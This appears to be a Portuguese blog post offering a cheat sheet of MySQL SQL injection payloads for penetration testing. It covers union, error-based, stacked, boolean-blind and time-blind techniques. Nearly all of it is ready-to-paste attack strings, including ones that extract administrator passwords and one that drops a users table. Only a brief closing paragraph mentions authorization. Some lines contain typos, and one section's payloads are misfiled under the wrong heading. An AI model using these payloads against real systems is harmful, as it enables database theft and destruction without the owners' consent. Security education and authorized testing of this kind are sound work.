Guia Completo de Injeção SQL: Técnicas Avançadas para Testes de Penetração

Injeção SQL por União


# Determinação do número de campos
1' ORDER BY 1#
1' ORDER BY 100#

# Consulta por união (assumindo 3 campos)
-1' UNION SELECT 1,2,3#

# Enumeração de todos os bancos de dados (assumindo segundo campo como resposta)
-1' UNION SELECT 1,SCHEMA_NAME(),3 FROM information_schema.SCHEMATA#

# Verificação da versão do banco
-1' UNION SELECT 1,VERSION(),3#

# Listagem de tabelas em um banco específico
-1' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='nome_banco'#

# Enumeração de colunas em uma tabela específica
-1' UNION SELECT 1,GROUP_CON.COLUMN_NAME),3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='nome_banco' AND TABLE_NAME='nome_tabela'#

# Extração de dados de colunas específicas
-1' UNION SELECT 1,GROUP_CONCAT(coluna1,0x3a,coluna2),3 FROM nome_banco.nome_tabela#

Injeção SQL Baseada em Erros

Função ExtractValue


# ExtractValue() - quando espaços e "=" são filtrados
1'^EXTRACTVALUE(1,CONCAT(0x5C,(SELECT(SCHEMA_NAME()))))#

# Enumeração de nomes de tabelas
1'^EXTRACTVALUE(1,CONCAT(0x5C,(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(TABLE_SCHEMA)LIKE('nome_banco'))))#

# Enumeração de nomes de colunas
1'^EXTRACTVALUE(1,CONCAT(0x5C,(SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(information_schema.COLUMNS)WHERE(TABLE_NAME)LIKE('nome_tabela'))))#

# Extração de primeiros 30 caracteres de uma coluna
1'^EXTRACTVALUE(1,CONCAT(0x7E,(SELECT(LEFT(coluna,30))FROM(nome_banco.nome_tabela))))#

# Extração de últimos 30 caracteres de uma coluna
1'^EXTRACTVALUE(1,CONCAT(0x7E,(SELECT(RIGHT(coluna,30))FROM(nome_banco.nome_tabela))))#

Função UpdateXML


# Função UpdateXML
1' AND UPDATEXML(1,CONCAT(0x7E,(SELECT database()),0x7E),1)#

# Enumeração de nomes de tabelas
1' AND UPDATEXML(1,CONCAT(0x7E,(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='nome_banco' LIMIT 0,1),0x7E),1)#

# Enumeração de nomes de colunas
1' AND UPDATEXML(1,CONCAT(0x7E,(SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='nome_banco' AND TABLE_NAME='nome_tabela' LIMIT 0,1),0x7E),1)#

# Extração de dados sensíveis
1' AND UPDATEXML(1,CONCAT(0x7E,(SELECT CONCAT(usuario,0x3a,senha) FROM usuarios LIMIT 0,1),0x7E),1)#

Estouro de Tipo de Dado BigInt


# Estouro de BigInt usando EXP() ou POW()
1' AND EXP(~(SELECT * FROM (SELECT USER())a))#

# Enumeração de nomes de tabelas
1' AND EXP(~(SELECT * FROM (SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1)a))#

# Enumeração de nomes de colunas
1' AND EXP(~(SELECT * FROM (SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='nome_tabela' LIMIT 0,1)a))#

# Extração de informações específicas
1' AND EXP(~(SELECT * FROM(SELECT 'coluna' FROM 'tabela' LIMIT 0,1)))#

Função Floor


# Função Floor
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(DATABASE(),FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x)a)#

Injeção SQL por Empilhamento

Consultas Básicas


1';SHOW DATABASES;#
1';SHOW TABLES;#
1';SHOW COLUMNS FROM `tabela`;#

Renomeação de Tabelas e Colunas


1';RENAME TABLE `tabela1` TO `tabela2`;RENAME TABLE `tabela3` TO `tabela1`;ALTER TABLE `tabela1` CHANGE `coluna1` `coluna2` VARCHAR(100);SHOW COLUMNS FROM tabela1;#

Leitura de Dados com HANDLER


1';HANDLER tabela OPEN;HANDLER tabela READ FIRST;HANDLER tabela CLOSE;#

Preparação de Consultas SQL


PREPARE atacante FROM CONCAT('s','elect',' * FROM `tabela`');
EXECUTE atacante;

SET @a=código_hexadecimal;
PREPARE atacante FROM @a;
EXECUTE atacante;

Injeção SQL Cega

Baseada em Booleano


1' AND (SELECT COUNT(*) FROM usuarios) > 0
1' AND SUBSTRING((SELECT VERSION()), 1, 1) = '5'
1' AND ASCII(SUBSTRING((SELECT senha FROM usuarios WHERE nome='admin'), 1, 1)) = 97
1' AND (SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_SCHEMA='public') > 10
1' AND LENGTH((SELECT DATABASE())) = 6

Baseada em Tempo


1'; IF((SELECT COUNT(*) FROM usuarios) > 0, SLEEP(5), NULL)
1'; IF((SELECT ASCII(SUBSTRING((SELECT senha FROM usuarios WHERE nome='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
1'; IF(EXISTS(SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA='public' AND TABLE_NAME='usuarios'), BENCHMARK(5000000, SHA1('a')), NULL)
1'; IF((SELECT COUNT(*) FROM information_schema.COLUMNS WHERE TABLE_NAME='usuarios') = 5, SLEEP(2), NULL)
1'; IF((SELECT SUM(LENGTH(nome)) FROM usuarios) > 20, BENCHMARK(3000000, MD5('a')), NULL)

Baseada em Erros


1' UNION ALL SELECT 1,2,TABLE_NAME FROM information_schema.TABLES
1' UNION ALL SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='usuarios'
1' UNION ALL SELECT nome,senha,3 FROM usuarios
1'; SELECT * FROM usuarios WHERE nome='admin' --
1'; DROP TABLE usuarios; --

Técnicas de Anumeração Booleana


# Verificação do comprimento do nome do banco
1' AND LENGTH(DATABASE()) > 20#

# Verificação do primeiro caractere do nome do banco
1' AND ASCII(SUBSTR(DATABASE(),1,1)) > 20#

# Contagem de tabelas no banco
1' AND (SELECT COUNT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()) < 10#

# Verificação do comprimento do nome da primeira tabela
1' AND LENGTH((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1)) > 10#

# Verificação do primeiro caractere do nome da primeira tabela
1' AND ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)) > 100#

# Verificação do número de colunas em uma tabela específica
1' AND (SELECT COUNT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='tabela') > 5#

Técnicas de Enumeração Temporal


# Verificação do comprimento do nome do banco
1' AND IF(LENGTH(DATABASE())=1,SLEEP(5),1)#

# Verificação do primeiro caractere do nome do banco
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))>90,SLEEP(5),1)#

# Contagem de tabelas no banco
1' AND IF((SELECT COUNT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE())=2,SLEEP(5),1)#

# Verificação do comprimento do nome da primeira tabela
1' AND IF(LENGTH((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1))=9,SLEEP(5),1)#

# Verificação do primeiro caractere do nome da primeira tabela
1' AND (SELECT ASCII(SUBSTR(TABLE_NAME, 1, 1)) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'dvwa' LIMIT 1) >= 100 AND SLEEP(5)#

# Verificação do segundo caractere do nome da primeira tabela
1' AND (SELECT ASCII(SUBSTR(TABLE_NAME, 2, 1)) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'dvwa' LIMIT 1) > 100 AND SLEEP(5)#

Conclusão Técnica

A injeção SQL representa uma das vulnerabilidades mais críticas em aplicações web. Este guia apresentou diverass técnicas avançadas de exploração, desde métodos diretos como a injeção por união até técnicas mais complexas como injeção baseada em tempo e booleana.

A compreensão desssas técnicas é essencial para profissionais de segurança que realizam testes de penetração e para desenvolvedores que desejam proteger suas aplicações contra essas ameaças.

Lembre-se que o uso dessas técnicas deve ser realizado apenas em sistemas onde você possui permissão explícita para testar. A exploração não autorizada de sistemas pode resultar em consequências legais graves.

Tags: injeção sql Segurança Web testes de penetração OWASP Segurança de Aplicativos

Publicado em 6-24 17:18